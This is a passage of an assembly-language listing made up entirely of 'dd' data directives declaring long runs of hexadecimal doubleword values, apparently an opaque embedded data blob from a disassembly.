76BB9D5h, 0A322F313h, 1A134421h dd 0D92E60h, 0FDBF69ACh, 6133AEE6h, 12B0DA48h, 80325E71h dd 707C4496h, 0E2EC0E43h, 1D834701h, 0F9C193FFh, 0C0042206h dd 0A1557E75h, 0AE600388h, 99F8341Bh, 7489EAF9h, 100FCF8h dd 0D7B66A0Fh, 0E8B0E8F7h, 3B2F006h, 0A55B8753h, 0B19B82D8h dd 3A7D1800h, 0C36CF5A9h, 396F6752h, 50C2A11Eh, 0E624410Ah dd 5FC311BBh, 8B1900D3h, 8A2BA5ACh, 0B706CD94h, 0D6395B1Ch dd 0FBA0F021h, 0C601A170h, 39F23E10h, 0D633E500h, 1C8A8C79h dd 9139004Bh, 4E572106h, 48EC04A0h, 0CF5B6C02h, 1158C36Eh dd 800EB29h, 0D8EBF06h, 1EBD36h, 599E966Ch, 0AE07B556h dd 2A65A0Ch, 3CB1F7h, 5D4457F1h, 0CEE3337Ah, 0F8F53000h dd 9B75C4AFh, 8AB0004Eh, 0A75D1012h, 6F001667h, 0A39183D3h dd 0DB375Bh, 11890377h, 0DE2580B2h, 130781FEh, 5EDAA598h dd 6B9A3FC1h, 5B199882h, 8090D24Fh, 58D88AA5h, 0C0DA99C8h dd 0A6E37019h, 1C00BB67h, 0BFADF011h, 0C75B969Ah, 41FBD580h dd 8AD9996Fh, 8ACBCE31h, 85160Bh, 9F832B1Bh, 823038FDh dd 2FBB1Dh, 0F7D4C1F4h, 286314EDh, 4C29938h, 0DE16A941h dd 25A28047h, 721E3640h, 5780DF2Fh, 0C8B52E1Ah, 96A70AEBh dd 80B06228h, 0E47B83EAh, 35796907h, 0A8CF012Ah, 10C17E00h dd 198F9622h, 0FBD40A18h, 39908A39h, 52C6738Ch, 0A107D779h dd 0BA5F0472h, 80D8B180h, 8A61C36Dh, 7C986896h, 50F16004h dd 0A4311CA0h, 59C369C3h, 0A6490DF9h, 0E1D92764h, 4C223Fh dd 0A801E330h, 74E6AE0Ch, 0CFFA06B3h, 0CA78A08Fh, 715E2D30h dd 4026AAh, 38FFCD2Eh, 526D2A71h, 870C2300h, 0AF93BC55h dd 8C510096h, 41D72130h, 5F03D909h, 0AE3F047Fh, 64D11276h dd 80702024h, 0B5E63EBBh, 0C28BA00Eh, 771158h, 13571B1Ah dd 8AB72F27h, 0C7BDAE09h, 1601088h, 5E9C1CDh, 0F47928E9h dd 0A901419Dh, 215D82F2h, 61F113A8h, 3AB3197h, 37759F6Ah dd 17FC288h, 718AD930h, 0C0347206h, 894AE45Eh, 7F1D8C0Dh dd 3686C5F7h, 3290B3Fh, 7EF4B1C7h, 84A1E75Ch, 4099F588h dd 1808D68h, 163ED2EEh, 19C33763h, 8EE40E90h, 31783B7Ch dd 0F79A24h, 336514DCh, 270983A9h, 995BC606h, 0A908EF3Ch dd 9901A5F2h, 8968781Fh, 5980DF98h, 609FB46Fh, 8E013594h dd 32785B10h, 0E06F276Bh, 549B242h, 0EAA300A4h, 6485AEA0h dd 128453Eh, 0A41FF0h, 2ADB4272h, 886729h, 0AC9F9D04h dd 45C7EE1Dh, 86037C00h, 3DD429DAh, 0EDA6895Ch, 75A980F5h dd 0FFAEDC7Dh, 63A100BFh, 53856FDFh, 2201180Bh, 0F908B598h dd 0C203791h, 0B71E011Ah, 3EA5A702h, 5651800Eh, 54327022h dd 0ED0A0385h, 74245B41h, 8BD8B114h, 900189E8h, 45C8A8h dd 0D34AD0F6h, 88165ACBh, 52D8000h, 9E6B9C75h, 0E4808BC5h dd 4A3B237Ch, 58FD833Bh, 0A01DF739h, 2604C93Fh, 18B8BBA8h dd 64D331DEh, 0A6259513h, 34C20C0Fh, 55217480h, 5A3500E1h dd 0D497F3C8h, 4828B51Ah, 0DF6441A1h, 0E019A308h, 0C26080A9h dd 419D01F9h, 0C830551Ah, 8C1628h, 0EE6F1B20h, 933F10CAh dd 0E5296B67h, 7B95CFE0h, 62E14BEh, 0A331C41Fh, 80582921h dd 1B498679h, 4B9E55h, 35C9024Ah, 0FA23F103h, 390091B8h dd 0B57859D5h, 280E2641h, 254998Ah, 482CE430h, 2061100Bh dd 0B824F250h, 89D950C0h, 0EA69C068h, 2180187Bh, 69C32F01h dd 322910A6h, 4660E09Fh, 41C6385Bh, 49143E30h, 0BA8E4BAh dd 0FEF877C7h, 0F4C17780h, 8912EF8Bh, 4213F1Eh, 1FCC90EDh dd 88720BF8h, 0C418F68Dh, 68B13DD5h, 0BDEA7107h, 0FD394C30h dd 0A7CE0085h, 42FF94Dh, 6007942Ah, 2880545Eh, 87B94Ch dd 4D86CB61h, 0A73C855Ah, 0C00FBF78h, 0A04893C8h, 4CC1FD9Dh dd 0C498372Fh, 9C3570C1h, 0AB00125Dh, 0E8C8C5CEh, 2FF77D3h dd 2C19081Fh, 18A09DD4h, 0F9EB3694h, 1F011074h, 0B00B3269h dd 95E8C4B3h, 4DC804A4h, 80B6ADE7h, 98237ACCh, 0A1248A4Ch dd 2007D0CAh, 922BF687h, 70048AF8h, 2A12C04h, 0F2C4BC88h dd 17D000E4h, 3A21167h, 5800B87Ch, 0D77F1AE3h, 76E2C56Dh dd 5F6E24E5h, 482820h, 4620DE34h, 0A6F469BCh, 914E8A03h dd 5365B0Dh, 882EB659h, 0CFA48C6Ch, 64CC4D13h, 0E0989600h dd 6538EAF0h, 0C4AE98A0h, 0C3D40860h, 39DD998Ch, 0B3F7012Dh dd 9E4DC1FCh, 0E2306058h, 0B0D3FA2Eh, 162EBA11h, 297C0E10h dd 0E4E0A0A0h, 5B181AC7h dd 3E49C14Dh, 9BFCA8F1h, 2E7F005Dh, 86E66FFEh, 0B11C25C8h dd 7E410F5Eh, 0CDAC88AFh, 6B341850h, 0A1FA07E3h, 0E01A06B1h dd 70E6EB58h, 10FC7919h, 0F089F5C0h, 98A1C1ACh, 60962182h dd 3E88CF58h, 6651C0FDh, 72EECC01h, 431F4EE4h, 8040F03Ah dd 0C10B1C03h, 47E41721h, 84E050A4h, 9EE9809Fh, 15D77367h dd 48A15D07h, 0E6E71B8Ah, 8B406950h, 7C135C84h, 20997212h dd 0D404ECA0h, 3D694E00h, 2FA8D15Fh, 3AAE05B5h, 82344129h dd 97216B64h, 0F8A61610h, 2028131Ch, 0C03026E8h, 811D7200h dd 7C5DC6C5h, 2E2CEE79h, 38F24h, 8DA590B9h, 0FF485A68h dd 0F48CC030h, 5B8B8Fh, 0F6C0FB1Ch, 56B10C68h, 0CCFACF07h dd 9A60D603h, 5A0891Fh, 0FEA4DF83h, 0AA548CC2h, 7A05092Ch dd 0B224D000h, 9867F061h, 0CC29483Ch, 0ED801480h, 6C1EA6AFh dd 34003BE6h, 0C44A5187h, 72E30062h, 0E5D52175h, 66000D24h dd 2522B906h, 0C0B6816Bh, 78C27FB8h, 0B5788AE7h, 103F90C9h dd 0AE2000h, 0CDCB3EEBh, 0B5E9C965h, 1A97191Ch, 0D4ABA70Ah dd 903F3709h, 30E68D54h, 52C65A2Eh, 2900B04Dh, 0E5748870h dd 905D9D4Fh, 153E30A4h, 30DD3C31h, 9FEBD100h, 0CFEE467Ah dd 0B1470A0Ch, 87A4C002h, 60C61FAEh, 57E6D53Ah, 1503BAECh dd 0D99FCFE5h, 1D38F8B1h, 0D0DC0064h, 0A15FC3A3h, 0A9002711h dd 1236F2F7h, 0F551CC0h, 3563D078h, 3B00C90Bh, 2A9157C6h dd 6BF258h, 2DF7C17Ch, 7475A9FDh, 0F10F1D45h, 0C907CC63h dd 0CD017248h, 6911F71Bh, 0B7D4271Dh, 60A8E885h, 2EA969FDh dd 39029D5Ch, 0B5B69C87h, 0F889401Ch, 782F6006h, 0F6AB27F2h dd 7EC431CFh, 11F1830Ch, 347A31FAh, 0E07D5629h, 9A7C264Dh dd 87D021C7h, 2AA70048h, 0A8B885C4h, 0C382C526h, 5FA7806h dd 3EF203E1h, 2CA43606h, 580B1100h, 84352E4Ch, 0ABAF00BCh dd 0B404C094h, 0A40797CDh, 1CCF0A2Fh, 0DFF1587Fh, 5CB6FA8Fh dd 650AF1E3h, 39407A2Fh, 37C18050h, 0C061A662h, 1AA4A77Dh dd 474D11C3h, 0DE8DC851h, 0D9050022h, 5368A98Eh, 8901E780h dd 0F391F4BCh, 41801DCEh, 39A44878h, 0FA50D928h, 0A988E394h dd 0F6A003D6h, 5CD2369h, 0CEB33100h, 0E8217B81h, 7D930A34h dd 80806FD0h, 0EF173BA4h, 8E0011B5h, 874BE4D1h, 13975EEh dd 7A279D86h, 84FD732Fh, 933E96D1h, 883098C4h, 5462A972h dd 3A4970B5h, 1670029Ch, 1C46020h, 0CBE03F59h, 0ED382037h dd 1BA4A98Bh, 9F393980h, 68202B54h, 0BCFB950Fh, 0E5E9A011h dd 1D1EA4h, 1CAA1410h, 0F1997529h, 0E760367Dh, 0D11DF349h dd 74900Ch, 7A875A4Ah, 812CEFC6h, 94751B01h, 491237F2h dd 0C028CDC8h, 0CE2250A9h, 1400B5DAh, 0C1650C8Dh, 6A9D271Ch dd 83460EBh, 0CD8C1E7Dh, 0BA3956h, 0B65D3274h, 97048999h dd 8614CCF0h, 0A72CCAh, 0AD3F88BEh, 0FA5D1880h, 0B8A61Ah dd 9EDEC110h, 3CFE24AEh, 6942ED00h, 99825E25h, 0CED307EEh dd 6071A97Bh, 0AE62A263h, 7803ACA4h, 852734A8h, 0D0F918E4h dd 0C80D596Dh, 3C506201h, 43B9D408h, 19EE2D8h, 0CC37445Bh dd 802FCD3Eh, 93C02E49h, 3AD2AC3h, 0D194A465h, 30DF8C9Eh dd 0FD86272Ch, 0D2FA30A1h, 7C819700h, 96B501E8h, 0A162A5EEh dd 7251801Ah, 2F57AF48h, 5525136Ah, 0B02827FAh, 0FE6BCC7Ch dd 0E548827Fh, 407E80E0h, 0DE8DFE0h, 0C8832652h, 0A6C52019h dd 0A017491h, 2F563A7Dh, 8980FED1h, 9EF9F318h, 0D1FEF4C8h dd 1830B830h, 37AC1Dh, 0CD59F77h, 73552048h, 3F952702h dd 0A06EDF30h, 0F0A6ED94h, 1C3A00DAh, 8231E301h, 0EE00D8D3h dd 0F5DC3996h, 287E9914h, 2AC43E3Ch, 0E0C023A4h, 2C380064h dd 422F0BBEh, 8B184EFAh, 962127A4h, 2E2D1F58h, 0E3D60048h dd 65801CC2h, 6241E001h, 7B2F5D1Dh, 891EA422h, 277E12EBh dd 832A20Ch, 5BA1BC90h, 0F9281300h, 1F379ADCh, 7D7101B2h dd 3556327Eh, 0F0CC49DFh, 80F3942h, 0C0ED291Ah, 5372F607h dd 6F380F7Dh, 3300634Eh, 0B2A90157h, 31C43950h, 3D3420A8h dd 0D46D4900h, 0ADC8EC60h, 7E673D32h, 72AC01F4h, 0F1022D3Eh dd 0D422A5h, 6B0D5693h, 261A596Fh, 7482CF9h, 4081AAF0h dd 8556FBEBh, 69A90406h, 970A4E8h, 2B0B797Bh, 0F29258A2h dd 9004E92Eh, 2A839C4h, 0E5166972h, 0AC90A5F0h, 0D9002F9Ah dd 0AAEA183Bh, 1CDB90C7h, 4DF70917h, 30C9CA72h, 24939D18h dd 720A2891h, 147EFAh, 86A87F58h, 75322FF6h, 90A58129h dd 0E082F4h, 0D8A07708h, 67273D42h, 0A93F8606h, 64D09395h dd 4028B894h, 8C483156h, 847D4CFFh, 0F14FE1Eh, 51010F32h dd 31C10693h, 0F4F89122h, 347E0B02h, 30469B2Ch, 0AA002AF0h dd 0B7A6C1AFh, 19CFA0Ah, 0F4371DE3h, 30CD87E6h, 0C9C0FB24h dd 0FF01A805h, 0A9DF000Dh, 0E97B772h, 370A89F1h, 0AC7EF8EDh dd 0C06D3D41h, 6F25A1C0h, 0F9A2C09Eh, 0E5101F06h, 0EC99C0FBh dd 0FAA73194h, 6214B100h, 33914EA4h, 83D70152h, 0CD2CA81Dh dd 8AAC5029h, 3400CAF8h, 0FEF6B608h, 1326B1BEh, 8F588EDh dd 0EA8053B4h, 0A362EF0Dh, 0F9AB0EA6h, 70E0C0E8h, 71FFCC9Ch dd 1255730Bh, 69A810CEh, 540090A9h, 6C7A8EAh, 124E1D56h dd 0E56F20F9h, 79C20009h, 0C98962h, 8395A425h, 2833114Dh dd 0F4365804h, 0C0C56CFAh, 7AD0804h, 0EFB05323h, 1C51DEF1h dd 1262D198h, 28760BFh, 5B700F96h, 0C6602AA6h, 0EB5C89DDh dd 21267C7Eh, 27098C50h, 0C1381087h, 5EB703FEh, 0AEF7CC0h dd 0D1721917h, 0FA2D0420h, 977D32h, 89640A14h, 3AA87C62h dd 0E9266F09h, 15422F1h, 0C8CD2422h, 0A53E1DB0h, 89E10088h dd 7EB9A110h, 0A9D8C052h, 0BE4BD47Ch, 354FAE02h, 822B0757h dd 102C78F0h, 8FF8D8DCh, 33FA9909h, 32A784E4h, 0F193F4C1h dd 73E3C507h, 0AFD0EC3Ch, 7C1873BAh, 4E8A3D5h, 0A906026Bh dd 0F4842788h, 3800930Fh, 1C9F01EEh, 0BC3403FDh, 0F0FA355Eh dd 2B002174h, 10EF0474h, 131DB72h, 0AA9C53C9h, 49083D11h dd 1015F4E8h, 3A840F00h, 0F0E4BBF3h, 305D0748h, 617DE8C3h dd 8082E63Bh, 0C0DB5A0h, 185C902Dh, 0C0116251h, 15E9AA63h dd 0A3BC80BBh, 70F520Ah, 80AE7DDFh, 0B7022F7Fh, 1F9D7A5Ch dd 24F0AA9Ah, 44291110h, 501DA5Ch, 0BBF4DE67h, 0BC707BA4h dd 873701BDh, 7715A3FFh, 0B867203Ch, 0FACB200h, 92556B7Fh dd 83D0EF20h, 27FF3ADAh, 794F529h, 10B817D5h, 0F6FAAB22h dd 0F0A86312h, 35371800h, 0E15BA91h, 303D7F42h, 9EDCDD40h dd 0D5006F32h, 6DAC98FAh, 190BB117h, 86119D0h, 0D821838Eh dd 9B80ACB0h, 9A101E49h, 0E6D00088h, 177C7AA6h, 1CD43Bh dd 0BF0FED02h, 3D4C14h, 80A592DFh, 68058366h, 41C720Ch dd 282180Dh, 0A89AD4CBh, 0EE43866Dh, 0C4525900h, 0C1C8C611h dd 0BD9E19B0h, 80740829h, 11DC6321h, 423BA4h, 2E89A857h dd 0E8E7FB03h, 68FF2636h, 55B8C028h, 360594Dh, 7652CC07h dd 1450113Dh, 0F83AB1A7h, 431C3723h, 614E8618h, 3C10D800h dd 1294FF02h, 0A204CF58h, 0A657A020h, 6D00ABA5h, 13900CCAh dd 39CB92DCh, 79D8ADh, 0B333BA8Eh, 9265A87h, 9EC95D1Ch dd 6233780h, 5503D8h, 932DABB9h, 7242DA34h, 8BEB9D00h dd 277D9FA8h, 0EAB60029h, 0E09612BBh, 0D614F9FBh, 9D62B2h dd 0C257D33Ah, 3050F3D0h, 1B306DAAh, 8B0049CEh, 92CACF9Fh dd 33E783Ch, 6310B450h dd 28006DFDh, 0F20439D9h, 0D979F21h, 7A3BD1CEh, 8395E140h dd 0FB302079h, 58B5D848h, 0CD7B1E59h, 2197981Eh, 69007810h dd 2F6BE8BCh, 1BAF741h, 0FFCD6EB8h, 0D73BC51Eh, 5E1016D8h dd 2C01897Bh, 0E43FCE69h, 78802FE8h, 827C9D1Ch, 1700365Eh dd 0DEF85610h, 67500481h, 81D0D1BDh, 0EC2ADFF7h, 370020F3h dd 0B2C3515Dh, 640BAF0h, 345E963Eh, 0D10330B6h, 0C5DD0889h dd 0D723D832h, 303807C8h, 536D99AAh, 5900A6B4h, 0D7F1014h dd 601C58ABh, 3D01402Eh, 23000E3Ah, 0CBD6E5A5h, 0BA2BB22h dd 2814DB6Ch, 6D3C05h, 6F8D2DFFh, 461FD409h, 890099CBh dd 873B43BDh, 0B2FE0013h, 5D9302FFh, 0ED00BC9Ch, 2F4A3546h dd 3628EBC3h, 9104597h, 0B888BF0Fh, 46CF0036h, 91BA33h dd 6034669Eh, 879418AAh, 0BF2BB50Eh, 0BA8500C4h, 0C824B6CCh dd 0B427229h, 7B82280h, 221A0222h, 712731DEh, 848C9078h dd 2A4C1B5Bh, 2D004351h, 275F6120h, 0A9530Ah, 8109D5D9h dd 9525E1EEh, 30CCFB00h, 4EE529EBh, 0CDFEF9h, 0D8C88A77h dd 2C74AF06h, 44BF0E01h, 0AA7C8D32h, 5E65C0h, 72F087E2h dd 36256F22h, 6D1C5BF2h, 5D40AC11h, 0DDA54B62h, 0FE390E5Fh dd 8C6B93B0h, 0EB389D00h, 4C0FADC4h, 6319CFC5h, 80C79F61h dd 4C1B8802h, 0D1017ADEh, 1945A0B5h, 0BCA0FA0Ch, 0CA211649h dd 81C8840Ch, 43B50C5h, 14F3576Dh, 3C1D3Ch, 0D1CAC673h dd 0C0646CF7h, 18AB2919h, 0F900DB28h, 0AE1E3BB8h, 0ECA29652h dd 4684008Bh, 70DA5401h, 882A834Ah, 0FE04EC43h, 52F8905Fh dd 0A0D4E082h, 96567378h, 0C440581Eh, 0DF31D203h, 7CC00ED5h dd 0DB3A64F4h, 78F88028h, 62566A6Dh, 38F9E296h, 5480865Fh dd 2EBA178Ah, 0D21D7C1Fh, 35C06D38h, 8F2A233Fh, 0EC30086h dd 70326F44h, 471C27D0h, 0F801A403h, 0BF38A26Dh, 1E2E6660h dd 40DE8813h, 9940E02Ch, 140EC5CDh, 600B5D87h, 0B82476A0h dd 0FD6F00CFh, 0A23A633h, 5D00B734h, 9E05CC04h, 1C36DC8Bh dd 0C0D1B164h, 4D07E34Ah, 1B00C9DAh, 2EEEA881h, 7067A83h dd 0EC1694C4h, 0E2F980EDh, 0F20368FCh, 455704D1h, 0F71BD8D9h dd 27EB0098h, 0F50C63BFh, 0CF005316h, 1A66CB78h, 7A1C07C0h dd 0A6360031h, 62CEEEAEh, 88005FD0h, 178D30D9h, 7DEFFBh dd 0DD1FE1E7h, 29D067DBh, 0E436D500h, 0F3BF4B6Dh, 0FC120038h dd 32D9D86h, 0DC00334Fh, 5391596h, 144C701Eh, 0EBB29E3Ch dd 217E9A0Eh, 63E8DE0h, 317A17A8h, 9415F63Dh, 0E844470h dd 0C4CD87B1h, 80808CD6h, 7D571Ch, 28EEB246h, 7E33A4F0h dd 552FF800h, 7FAF347Bh, 0E5940061h, 0A124DB37h, 2700CAE6h dd 6AFC0C67h, 1CE9E7h, 8281DF13h, 0E8382460h, 0B5661700h dd 4DA12746h, 5F249h, 0AEA36FEh, 0F406513Eh, 22BEE01h dd 0C1AB203Ah, 5C60DDF2h, 241F3599h, 5B8006D0h, 4968FF5h dd 6D7300ABh, 57F483B9h, 3F388A56h, 80D1BE42h, 51FD129Eh dd 0C4247Bh, 0A64A8C22h, 0C9F05F68h, 0D8E77A03h, 0B02589D9h dd 403865h, 78172DEBh, 3BD0FB53h, 4DC71000h, 77D459FAh dd 0E5D100E3h, 17747BD5h, 6E03BAE1h, 377D4218h, 28F3E83Dh dd 0C77F27h, 6ABCCE98h, 36A0F9FEh, 93EBE300h, 2094EDA1h dd 8C8A09D8h, 0DA80F054h, 499C673Fh, 0CD001FE6h, 928E7179h dd 31CCA1Eh, 5B0542F4h, 511FC115h, 9E39ACF5h, 49419AFFh dd 3190EE38h, 0CABDE8h, 0C3B0E61Dh, 3E9026Ah, 6BB39h, 3DF79AC2h dd 1C08DD34h, 470F5AAEh, 70FA41A0h, 7E439E83h, 87002D74h dd 9BD2E724h, 4BC208h, 0B08EAB70h, 8372817Ch, 79858C1Eh dd 0E1B92881h, 0BD07415h, 0BC210093h, 0BEDF6FF0h, 0F8166359h dd 0CC011023h, 81BF534h, 0ECD645D8h, 614C18FDh, 0B205FAB0h dd 7E288F05h, 80BB01E9h, 4FC8DFC9h, 303B38h, 0CCD9D32Fh dd 0E7DB1Dh, 3AC769B9h, 0A75779B5h, 28B35F00h, 7E82760Bh dd 0F18A00F4h, 0EC4DE607h, 5000E7F6h, 9EDF216Fh, 72CAA1h dd 0A7377B96h, 0EB786DBBh, 7404691Dh, 997FC8C0h, 16BBDC5h dd 57ADF409h, 302CBE1Ch, 3C0001F5h, 2FD3DEFFh, 3D051Ah dd 26B2D42h, 0E1CE6EBh, 0E3BD9306h, 1CD85BE7h, 40059431h dd 8BB536F6h, 6E011215h, 0B8B96C78h, 0F9E0287Eh, 0F4AC002Ah dd 9539DAECh, 1B00E46Dh, 6EBC5561h, 0E5D747h, 0A03DC116h dd 0AFF0E90Ah, 0C856A80Bh, 0C2AD8098h, 7CAA7EC3h, 0EA0C0B8h dd 40114889h, 6C26E700h, 994F6618h, 1FF202A0h, 10DE0CA3h dd 5D3F5440h, 0F1CF8618h, 0E8018B28h, 46B200D4h, 0D61AEE0h dd 0C801CEA6h, 58E6CA1Dh, 8CC8C416h, 0C09009h, 0A974DE29h dd 2A4EC717h, 0D375560Fh, 0B17C0064h, 6E923Eh, 7B0DA43Fh dd 9A93548Dh, 6D868001h, 0EB67CD4Ch, 92EFC840h, 0A4980E7Bh dd 660026E8h, 7A58AC64h, 7CB77700h, 252D49D9h, 7E5A07D6h dd 0D7C52EBCh, 9FFBB0DBh, 90003F57h, 285BCE51h, 36FF407h dd 8B059738h, 0A9C843F9h, 7500D5E4h, 105A7B77h, 121154A7h dd 4E9833h, 1BE0C683h, 913CEFCBh, 82E3804Fh, 5005E234h dd 0F608044Ch, 902133DCh, 7FC9D0E8h, 0B9C81500h, 7C4FFF6Fh dd 34E400DDh, 0A3699599h, 0DA006B92h, 933EC201h, 0E5F405h dd 631BDC48h, 41B07A96h, 0CB744F09h, 0A698008Ah, 0C618A9h dd 44694EEh, 1E58220Fh, 0FC059EEAh, 0F477D120h, 3399C8C0h dd 158602B3h, 0C68FADBh, 7CA6F780h, 0D8906C44h, 5EFCE000h dd 74CF0BC7h, 9C114C29h, 0B9930F80h, 8800E2EFh, 35F89C1Ah dd 1D2C6D9h, 8B31030h, 20687189h, 39014C0Ch, 0F16DC21Eh dd 3C30D4D7h, 61CC1E47h, 64BE0017h, 7D1322F9h, 0EB4DC100h dd 73841AACh, 0FC610032h, 6EE9967Eh, 8300D128h, 87ACD047h dd 0C7579Dh, 0A736FD97h, 1B4C24D4h, 10E4F106h, 7785F72h dd 91D6F2CFh, 73F001DEh, 0BA5D6024h, 1B952603h, 0D0A632CEh dd 47D669Fh, 6DE67CDBh, 80FC84B0h, 91827348h, 52BB6C07h dd 0EE30761Fh, 71E89F3h, 0B83A3787h, 5090F3A8h, 1D9D1790h dd 8500A7F8h, 405A6473h, 0FE6A7502h, 0B6BE0011h, 393217B3h dd 0EA036BFDh, 96778AFFh, 0E2B9803Bh, 2B751C80h, 638540D6h dd 0CF14A20Fh, 78E96800h, 89169784h, 0B8C40045h, 5F9822E0h dd 21328F1Ch, 4866E85Ch, 184320h, 0B30F7265h, 5F87C703h dd 99FF1B02h, 80D00D08h, 0A2D3DBC4h, 294B0084h, 80C3EB2Dh dd 69136C8Eh, 0E0002317h, 39A7A0D0h, 75B60099h, 2E87C692h dd 16009389h, 4068EAE8h, 60DDC1B1h, 9C9D1880h, 0F70F5290h dd 0A212325Fh, 0E0CE1EC7h, 0F616AC6h, 2C4406ACh, 0C2277F44h dd 9CC0B6C0h, 2A303A57h, 7A7028C4h, 5DEF00ECh, 71FFABD0h dd 0A43E8D0Fh, 76CC80E3h, 0E06538A1h, 2CF6C1h, 0E75950FDh dd 41D4BE69h, 0A85A7D12h, 3CCD9430h, 1C2B905Bh, 4524B187h dd 0C0C5E0A4h, 0F16F3F1Ch, 0E702C49h, 0DFC35B54h, 1C64CC9h dd 98EDC5AEh, 57C8CE80h, 4010EB8Ah, 0D3892C00h, 9BD1737Bh dd 0F6B3A6Ah, 626E6780h, 64CBADA4h, 0FA355113h, 79328440h dd 0F654459Ch, 0D04C5513h, 0BAADCCh, 76011653h, 0A0CA696Fh dd 0DBDC1900h, 271A7F92h, 4ED414ADh, 8F00C86Ah, 2067808Dh dd 61C12ACh, 3EEE0998h, 0E3BDAE3Bh, 0C8483D0Ch, 4C5A00A0h dd 448B74FAh, 0CF3868E4h, 0A1F407A5h, 720C897h, 770B94D5h dd 6A5800C3h, 0AFAE5B47h, 0BA00449Dh, 0B74D6F1Eh, 6A828h dd 20297B62h dd 14DDCB6Dh, 2674794Ch, 0A7005523h, 56A5F253h, 95640071h dd 0BA148B5Ch, 350C8E68h, 2A9216EFh, 7761008Dh, 0E650AAADh dd 45075594h, 344C8393h, 0E9E3E73Fh, 9937F1E0h, 0CDB0069h dd 2D7AE77h, 70042A6h, 23BCD10Dh, 0E4785698h, 5DFE0A44h dd 0A32DB0h, 871988D4h, 0D3009338h, 0C77F1420h, 28183AAh dd 0E4EC6C90h, 0D2C0D641h, 0BF7BC94Ch, 30A33D00h, 65C08F4Ah dd 5BC84CDEh, 0DC75F700h, 96900987h, 212E8400h, 0D26E79B3h dd 0F0FCA316h, 1C38DC12h, 0E265C8h, 0B1860E04h, 4F01EE31h dd 0B82135B7h, 0D7605DA1h, 75BC0023h, 4CEB3DF6h, 4E0050A5h dd 567AD0F0h, 0C94B204h, 0A32F8F51h, 29ECDAC0h, 0B61CFB00h dd 0C9DC9033h, 73380980h, 4800CC8Dh, 0A688160Fh, 841FE43Ch dd 42F7E7BBh, 0DB5AC800h, 0C6E4E122h, 0AB512498h, 2A3CFCD4h dd 0A500B89Ah, 20A6CE4Ah, 0C12CFCCh, 9E81DA75h, 0D0099E2h dd 59902B0Bh, 0D5B973h, 0C1F78AB4h, 4410DFF0h, 0AB033F05h dd 6EC04F6Fh, 3BA840EDh, 0E1808FA6h, 0A13BBF1Ch, 9828B9EFh dd 5401A80Dh, 4ACF956Eh, 0CCF04583h, 0DAFA006Bh, 0A514369Ch dd 0F104FC47h, 119A6273h, 0D7299480h, 36E50789h, 3E4513h dd 0CB6B0344h, 86678101h, 0E691BA8Dh, 5834E420h, 230035D3h dd 8E6A4DDCh, 8AF8854Ch, 0E0E43200h, 589E1861h, 0D88D3C2Ah dd 0FF92EBBh, 0F736D617h, 6A62A061h, 0FABC40B1h, 8001423h dd 66F078B3h, 2E8A40A1h, 0F7CBDAh, 0A0D28D64h, 0E2003C4Ah dd 2FFA60ACh, 0CFC49Ah, 78ADE94Ch, 1E6BE51Dh, 531B2D00h dd 480B443Dh, 0E76C1D22h, 0ADC780F9h, 54CC67FEh, 6509EB0Eh dd 7814E17Dh, 6E70396Fh, 3C0F0050h, 0DF2BA020h, 0F03AAF0Dh dd 0E44303E6h, 88F2E018h, 2CA3115h, 0D51C30C3h, 5DE0D8DEh dd 991D59D4h, 4E8019DCh, 0B4CE4B9Ch, 13A11EF6h, 3B51CF23h dd 2A07018Bh, 281D037Eh, 0ABBA9000h, 0C21BA108h, 87EEA9h dd 9BAAACD9h, 0B3AE0CA0h, 6DF2A300h, 519D982Eh, 1ECEF0BEh dd 40B683BFh, 0FFA04C67h, 0D1394602h, 0E87D80B8h, 1F1C77B7h dd 4CFA00Eh, 0F99E0082h, 0CB5A5FDBh, 990EFDF2h, 0C0D17539h dd 2AA10A47h, 9EC53A7Fh, 3BC7C980h, 7DCE9D95h, 6A2DAE1Fh dd 230C0340h, 3AB0108h, 0A39A6159h, 4F0AD1Eh, 86EC3D5Eh dd 4188F0F1h, 4DA49F06h, 101264h, 4CBBA747h, 0B032DF40h dd 0CF3FB58h, 2003FF8Ah, 5D3500BFh, 0EE68793Ch, 870CF4DCh dd 0A22760DEh, 0ABB60059h, 22A637A8h, 90FADC4Eh, 70E934FEh dd 12002CA1h, 551B1E3Ch, 4F0DA8h, 93922A75h, 1C09CE04h dd 338C3500h, 0D2B250A3h, 0FEA87CF7h, 22A70015h, 9ACD7FBDh dd 0F1039EE2h, 7EC0C41Dh, 9D57E8F0h, 0E8070036h, 0A428C2D4h dd 3400E7D3h, 19019A87h, 7D0D41B1h, 0CA8A05F6h, 40EFAFDCh dd 372FC5A4h, 3D3CD5C8h, 0C3220751h, 0D420303Ch, 90578h dd 1D1E45E5h, 0BDF5F99Dh, 0D8D6AB00h, 2DA7BA8Ah, 0B24F0058h dd 0B45FA834h, 2000E48Bh, 550D0654h, 12A4E18h, 958205DAh dd 80A093C4h, 0F7E38099h, 3C3650Bh, 874C776Fh, 18073558h dd 65C3DE1h, 0E26023A0h, 8A8901ADh, 1F261122h, 70E147D0h dd 58870FFh, 67844C01h, 66E54761h, 90DD07E4h, 89EA00ECh dd 0C55A81F6h, 0D9715142h, 6615F00h, 1C7997F7h, 0E4EA37h dd 0DE45C665h, 6E52667Dh, 0BB6261Dh, 0C0B15D8Fh, 0DAD719B0h dd 8A1309DCh, 3C806B96h, 94B9C1C0h, 0BD742600h, 40A20D3Fh dd 0ADB200E8h, 63B49F76h, 0C500E2D3h, 61057ACBh, 0E8892271h dd 80880E0Eh, 2881C4AAh, 0E47C9F0Dh, 34EA0BE4h, 0D55F2B00h dd 0C1554A78h, 0E810077h, 689E8D47h, 65009175h, 3DD02202h dd 4E4FA49h, 98B35026h, 2000BE3Ch, 1775C197h, 0DF990F0Eh dd 0CFE1AC85h, 0F99A98B5h, 54F84009h, 270007F4h, 0D1383E23h dd 8BE944h, 463561E7h, 0C7EFF5D3h, 0DC2A9400h, 10E54529h dd 51910014h, 9DEACC0h, 660048F9h, 0A6012DC5h, 0FF57BEh dd 0B79370F5h, 28E82F3Ch, 0E60E38C0h, 4DE2328Ch, 2E00604Bh dd 2FDF8024h, 4F1865CBh, 26182AA2h, 0A1E067C3h, 76DD7062h dd 42E81E6Ch, 182EE737h, 63C00687h, 677AF3h, 0DE02DA4h dd 0EC6965F9h, 0E8781500h, 757BC126h, 0D57C35h, 0FBFC0F49h dd 0DFFA2F7Ch, 6EE3E118h, 1800C89h, 0E00EA289h, 0D1C421D2h dd 80C5D782h, 0B0CFAE1Ch, 0A83DFE98h, 0EB8061A7h, 0DED8F274h dd 2DE20098h, 0DCCDCA4Ch, 0BA77EF7Bh, 